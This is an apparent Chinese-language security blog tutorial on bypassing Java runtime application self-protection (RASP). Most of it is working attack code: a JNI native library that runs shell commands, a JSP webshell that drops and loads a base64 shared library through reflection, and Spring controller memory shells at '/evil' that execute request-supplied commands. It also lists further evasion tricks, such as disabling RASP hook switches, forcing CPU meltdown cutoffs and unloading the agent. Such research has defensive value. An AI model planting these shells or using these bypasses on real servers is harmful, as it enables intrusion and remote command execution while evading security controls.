绕过 RASP
RASP 简介
RASP 全称为 Runtime Application Self-Protection,实时程序自我保护。RASP 通常嵌入在程序内部,具备实时监控危险函数调用,并阻止该危险调用的功能。与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。
Java RASP 通常使用 java agent 技术实现。以 chaitin/log4j2-vaccine: log4j2-vaccine 为例,Log4j2-Vaccin 是用于防护 log4j 漏洞利用的 RASP 实践。
使用时仅需要将其作为 javaagent 加载即可:
java -javaagent:agent.jar -jar web.jar
其实现方法如下:
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.replace("/",".").equals(JndiManagerClassName)){
System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
CtClass ctClass = null;
CtMethod ctMethod = null;
try{
// 初始化classPool
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
// 构造CtClass
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 获取lookup方法
for(CtMethod method:ctClass.getMethods()){
if(method.getName().equals(JndiManagerLookupMethodName)){
ctMethod = method;
break;
}
}
// 修改lookup方法
assert ctMethod != null;
//ctMethod.insertBefore("if(name.startsWith(\"ldap://\") || name.startsWith(\"rmi://\")){return null;}");
ctMethod.insertBefore("return null;");
// 返回字节码
System.out.println("[Vaccine] Patch JndiManager Lookup Success!");
return ctClass.toBytecode();
}catch (Exception e){
e.printStackTrace();
}finally {
if (ctClass != null) {
ctClass.detach();
}
}
}else{
return classfileBuffer;
}
return classfileBuffer;
}
使用 transform 方法对 org.apache.logging.log4j.core.net.JndiManager.lookup 方法进行运行时修改,使其提前返回 return null
.
根据 RASP 不同的实现,通常有两种方法绕过:
- 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
- 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过
绕过黑名单
以 MRCTF 2022 springcoffee 中的 RASP 为例,这道题对 java.lang.ProcessImpl.start 函数进行了过滤。
public class RaspTransformer implements ClassFileTransformer {
private Instrumentation inst;
private static String targetClassName = "java.lang.ProcessImpl";
private static String targetMethodName = "start";
public RaspTransformer(Instrumentation inst) {
this.inst = inst;
}
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.replace("/", ".").equals(targetClassName)) {
System.out.println("[Vaccine] Start Patch JndiManager Lookup Method!");
CtClass ctClass = null;
CtMethod ctMethod = null;
try {
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod[] var9 = ctClass.getMethods();
int var10 = var9.length;
for(int var11 = 0; var11 < var10; ++var11) {
CtMethod method = var9[var11];
if (method.getName().equals(targetMethodName)) {
ctMethod = method;
break;
}
}
assert ctMethod != null;
ctMethod.insertBefore("return null;");
System.out.println(String.format("Patch %s %s Success!", targetClassName, targetMethodName));
byte[] var18 = ctClass.toBytecode();
return var18;
} catch (Exception var16) {
var16.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return classfileBuffer;
} else {
return classfileBuffer;
}
}
Java 命令执行的几种方式中,追溯到底层其实只有 UNIXProcess 和 ProcessImpl,因此这里可以用 UNIXProcess 进行绕过。
通过 JNI 绕过 RASP
JNI(Java Native Interface)是 Java 提供的一种机制,用于在 Java 程序中调用本地(Native)代码,即使用其他语言(如C、C++)编写的代码,从而可以充分利用本地代码的功能和性能优势,实现对底层系统资源和外部库的访问。
JNI 基本使用
JNI 的基本使用参考博客:RASP绕过初探#rasp绕过
步骤可以归纳为如下的五步:
- 编写一个 java 文件,其中定义一个 native 方法,然后使用 javac 编译得到 .class 文件
- 使用 javah 进行对 .class 文件进行处理,得到编写 C 代码所需的头文件。
- 编写命令执行的 C 语言实现
- 将编写的 C 代码编译为 lib 或者 dll(注意jdk版本要与目标机器的jdk保持一致)
- 编写一个 Java 类调用 System.loadLibrary 方法加载 dll 文件。
第一步:编写 native 方法
新建一个 NativeLibraryExample 类:
public class NativeLibraryExample {
// 声明native方法
public native void nativeMethod(String cmd);
public static void main(String[] args) {
NativeLibraryExample example = new NativeLibraryExample();
example.nativeMethod("mate-calc"); // 调用native方法
}
}
使用 javac 对其进行编译:
javac NativeLibraryExample.java
得到了 NativeLibraryExample.class 文件
第二步:使用 javah 生成头文件
使用 javah 生成对应的头文件。
javah -jni NativeLibraryExample
得到 NativeLibraryExample.h
第三步:编写 C 代码
编写 C 语言实现,包含上一步生成的 .h 文件:
JniClass.c
#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(JNIEnv *env, jobject obj, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
第四步:编译成 dll 或者 lib
Linux 下使用的命令进行编译,编译时需要添加 jdk include 目录和 inlcude/linux 目录。
gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c
windows 环境使用如下的命令
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll JniClass.c
第五步:加载 so 文件
修改 NativeLibraryExample 的 main 方法,使用 System.load 将 so 文件加载进来。
public class NativeLibraryExample {
// 声明native方法
public native void nativeMethod(String cmd);
public static void main(String[] args) {
System.load("/mnt/share/project/ctf_archives/test/test_jni/src/main/java/libNativeLibraryExample.so");
NativeLibraryExample example = new NativeLibraryExample();
example.nativeMethod("mate-calc"); // 调用native方法
}
}
调用 nativeMethod 执行命令。
实际场景下的 JNI 利用
实际渗透场景中通常需要先将恶意链接库放入服务器中,大致可以分为如下的两种情形:
- 先利用文件上传漏洞将编译好的 so 或者 dll 放入服务器中,然后再加载运行。
- 先利用 webshell 将 so 或 dll 写入服务器,然后再加载运行。
JSP webshell
javasec 中的 JSP 示例如下,其代码的实现与正向开发有一些区别:
- 将定义的 Java 转化为字节数组,通过 defineClass 对其进行加载,从而获取到定义了 native 方法的 Java 类。
- 将 so 文件内容的 base64 编码定义为常量,加载这个 jsp 时,将 so 的内容写入到服务器临时文件目录下。
- 加载 so 时,并没有使用 System.load 函数,而是使用 ClassLoader.loadLibrary0 方法。实际上 System.load 底层也是调用的 ClassLoader.loadLibrary0。
- 调用过程采用反射完成。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<%-- load_library_cmd_all.jsp?cmd=ls --%>
<%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
<%!
private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
/**
* JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
* 只有一个public static native String exec(String cmd);的方法
*/
private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
};
/**
* 获取JNI链接库目录
* @return 返回缓存JNI的临时目录
*/
File getTempJNILibFile() {
File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
if (!jniDir.exists()) {
jniDir.mkdir();
}
String filename;
if (isWin()) {
filename = "cmd.dll";
} else {
if (isMac()) {
filename = "libcmd.lib";
} else {
filename = "libcmd.so";
}
}
return new File(jniDir, filename);
}
boolean isWin() {
return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
}
boolean isWin32() {
return "32".equals(System.getProperty("sun.arch.data.model"));
}
boolean isMac() {
return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
}
/**
* 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
* 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
* @param str
* @return
*/
byte[] base64Decode(String str) {
try {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
} catch (Exception e) {
return null;
}
}
/**
* 写JNI链接库文件
* @param base64 JNI动态库Base64
* @return 返回是否写入成功
*/
void writeJNILibFile(String base64) throws IOException {
if (base64 != null) {
File jniFile = getTempJNILibFile();
if (!jniFile.exists()) {
byte[] bytes = base64Decode(base64);
if (bytes != null) {
FileOutputStream fos = new FileOutputStream(jniFile);
fos.write(bytes);
fos.flush();
fos.close();
}
}
}
}
%>
<%
String cmd = request.getParameter("cmd");
String jniBytes = request.getParameter("jni");
String COMMAND_JNI_FILE_BYTES;
if (isWin()) {
if (isWin32()) {
// windows 32
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
} else {
// windows 64
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
}
} else {
if (isMac()) {
// mac
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
} else {
// centos 7 64
COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息,请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
}
}
// JNI路径
File jniFile = getTempJNILibFile();
ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
if (loader == null) {
loader = new ClassLoader(this.getClass().getClassLoader()) {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
return super.findClass(name);
} catch (ClassNotFoundException e) {
return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
}
}
};
writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
application.setAttribute("__LOADER__", loader);
}
try {
// load命令执行类
Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
Object loadLib = application.getAttribute("__LOAD_LIB__");
if (loadLib == null || !((Boolean) loadLib)) {
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
loadLibrary0Method.setAccessible(true);
loadLibrary0Method.invoke(loader, commandClass, jniFile);
application.setAttribute("__LOAD_LIB__", true);
}
String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
out.println("<pre>");
out.println(content);
out.println("</pre>");
} catch (Exception e) {
out.println(e.toString());
throw e;
}
%>
代码中的 COMMAND_JNI_FILE_BYTES 内容较大,具体文件内容可见:javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp at master · javaweb-sec/javaweb-sec · GitHub
脚本中需要先将 .class 转化为字节数组,代码如下:
public static byte[] getBytesArrayFromClassFile(String classFilePath) throws Exception{
byte[] classBytes = Files.readAllBytes(Paths.get(classFilePath));
for(byte b : classBytes) {
System.out.print(b);
System.out.print(",");
}
return classBytes;
}
反序列化利用
反序列化利用时实现原理与 JSP 一致,也同样需要将 so 文件内容的 base64 编码定义为常量,在反序列化触发时,将 so 的内容写入到服务器临时文件目录下,再进行加载。
我们可以在一个普通的 controller 内存马的基础上,将其改造成 JNI 内存马。controller 内存马如下, 该内存马重写了 index 方法,并在静态代码块中将自身添加到 RequestMapping 中。
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPatternParser;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Scanner;
public class SpringControllerMemshell {
static {
String inject_uri = "/evil";
try{
System.out.println("Controller Injecting");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mappingHandlerMapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mappingHandlerMapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Field field = null;
try {
field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
}catch (NoSuchFieldException e){
field = c.getDeclaredField("pathLookup");
field.setAccessible(true);
}
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (inject_uri.equals(urlPath)) {
throw new RuntimeException();
}
}
Class <?> evilClass = SpringControllerMemshell.class;
Method method2 = evilClass.getMethod("index");
RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();
option.setPatternParser(new PathPatternParser());
RequestMappingInfo info = RequestMappingInfo.paths(inject_uri).options(option).build();
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, evilClass.newInstance(), method2);
System.out.println("Controller Injected");
}catch (Exception e){
e.printStackTrace();
}
}
@ResponseBody
public void index() throws IOException {
// 获取请求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取请求的参数cmd并执行
// 类似于PHP的system($_GET["cmd"])
try{
String cmd = request.getParameter("cmd");
if (cmd != null && cmd.length() > 0) {
String osTyp = System.getProperty("os.name");
InputStream in = Runtime.getRuntime().exec((osTyp != null && osTyp.toLowerCase().contains("win")) ? new String[]{"cmd.exe", "/c", request.getParameter("cmd")}:new String[]{"sh", "-c", request.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
return;
}catch (Exception e){
e.printStackTrace();
}
}
}
在其基础上新建一个 SpringControllerMemshell 类,进行如下的修改:
- 添加一个 native 方法
- 将原有的 index 方法改为执行 doExec 方法。
- 添加一个成员变量 jniCodes,用于存放 base64 编码后的 so 文件内容。
- 添加一个 getJNILibFile 方法,用于在 /tmp 目录下写入 so 文件,并返回文件路径。
- 在 static 代码块中使用 System.load 加载 so 文件。
文件内容修改如下:
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPatternParser;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Map;
public class SpringControllerJNIMemshell {
final static String jniCodes = "";getJNILibFile
static {
String inject_uri = "/evil";
try{
System.load(getJNILibFile(jniCodes));
System.out.println("Controller Injecting");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mappingHandlerMapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mappingHandlerMapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Field field = null;
try {
field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
}catch (NoSuchFieldException e){
field = c.getDeclaredField("pathLookup");
field.setAccessible(true);
}
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (inject_uri.equals(urlPath)) {
throw new RuntimeException();
}
}
Class <?> evilClass = SpringControllerJNIMemshell.class;
Method method2 = evilClass.getMethod("index");
RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();
option.setPatternParser(new PathPatternParser());
RequestMappingInfo info = RequestMappingInfo.paths(inject_uri).options(option).build();
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, evilClass.newInstance(), method2);
System.out.println("Controller Injected");
}catch (Exception e){
e.printStackTrace();
}
}
public native String doExec(String cmd);
/**
* 写JNI链接库文件
* @param base64 JNI动态库Base64
* @return 返回是否写入成功
*/
public static String getJNILibFile(String base64) throws IOException {
if (base64 != null) {
File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
if (!jniDir.exists()) {
jniDir.mkdir();
}
String filename;
filename = "slib.so";
File jniFile = new File(jniDir, filename);
if (!jniFile.exists()) {
byte[] bytes = Base64.getDecoder().decode(jniCodes);
if (bytes != null) {
FileOutputStream fos = new FileOutputStream(jniFile);
fos.write(bytes);
fos.flush();
fos.close();
}
}
return jniFile.getAbsolutePath();
}
return "";
}
@ResponseBody
public void index() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try{
String cmd = request.getParameter("cmd");
if (cmd != null && cmd.length() > 0) {
response.getWriter().write(doExec(cmd));
response.getWriter().flush();
}
return;
}catch (Exception e){
e.printStackTrace();
}
}
}
接着就是常规的步骤:
- 使用 javac 进行编译
- 使用 javah 生成 .h 文件
- 编写 c 代码。示例如下:
#include<jni.h> #include<stdio.h> #include<cstdlib> #include<cstring> #include "xyz_eki_marshalexp_memshell_SpringBoot_Controller_SpringControllerJNIMemshell.h" int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定义缓冲区 FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败 while (!feof(pipe)) { if (fgets(buffer, 256, pipe)) { //将管道输出到result中 strcat(result, buffer); } } pclose(pipe); //关闭管道 return 1; //返回1表示运行成功 } JNIEXPORT jstring JNICALL Java_xyz_eki_marshalexp_memshell_SpringBoot_Controller_SpringControllerJNIMemshell_doExec(JNIEnv *env, jobject thisObj,jstring jstr) { const char *cstr = env->GetStringUTFChars(jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)) { // printf(result); } char return_messge[256] = ""; strcat(return_messge, result); jstring cmdresult = env->NewStringUTF(return_messge); //system(); return cmdresult; } JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved){ return JNI_VERSION_1_4; //这里很重要,必须返回版本,否则加载会失败。 }
- 编译并获取 base64 编码内容.
OBJ = SpringControllerJNIMemshell.cpp CFLAGS = -shared -fPIC CC = gcc TARGET = jni.so all: $(CC) -I"${JAVA_HOME}/include" -I"${JAVA_HOME}/include/linux" $(OBJ) $(CFLAGS) -o $(TARGET) clean: rm *.o *.so
获取 base64
cat jni.so | base64 -w 0
获取 base64 编码内容后,将其填充到 jniCodes 中,使用反序列化利用链打入即可。
其他绕过方法
其他的绕过方法研究可以参考文章:RASP的安全攻防研究实践 - admin-神风 - 博客园,这里仅进行罗列:
- 破坏 RASP 的开关。OpenRASP 中存在一个 hook 开关,反射修改这个 hook 开关可关闭所有拦截。Jrasp 没有明显的开关可以去操控但作者也实现的类似的效果。
- 熔断开关。很多商业化的产品有类似的CPU熔断机制,如果 CPU 达到 90%,就自动关闭 Rasp 的拦截。因此可以通过发送一些大的数据包或者流量,造成 CPU 的压力来触发 RASP 的熔断开关
- 伪装恶意类。很多 RASP 产品是通过堆栈信息回溯的方式来判断命令执行的地方从哪里来,例如检测 behinder 时会判断堆栈是否包含net.rebeyond.behinder类开头的信息。作者给出了伪装类名的方法。
- 新建线程绕过。新建线程可以绕过堆栈检查,但无法绕过黑白名单。
- Bootstrap ClassLoader 加载绕过内存马检测。某些 RASP 在检测内存马时,通过判断当前类的 ClassLoader 是否存在对应的 .class 文件落地,使用Instrumentation.appendToBootstrapClassLoaderSearch 方法加载的 jar 包是以 Bootstrap ClassLoader 加载的,因此能够绕过检测。
- 通过 Unsafe 方式绕过。Unsafe.allocateInstance方法可以实例化一个对象而不调用它的构造方法,再去执行它的 Native 方法,从而绕过 Rasp 的检测。作者给出的示例中,通过直接执行 forkAndExec 的 Native 方法来执行命令。
- 通过 WindowsVirtualMachine 注入 ShellCode 加载。向自身进程植入并运行 ShellCode 绕过 RASP
- Java 跨平台任意 Native 代码执行。
- 弱引用 GC. 一种依托 WeakReference 弱引用的命令执行方式,有别于常规的命令执行,因此在某些场景下可以绕过。
- 高权限场景卸载 RASP。通过获取 tools.jar 的路径,调用里面的 JVM API 来卸载 RASP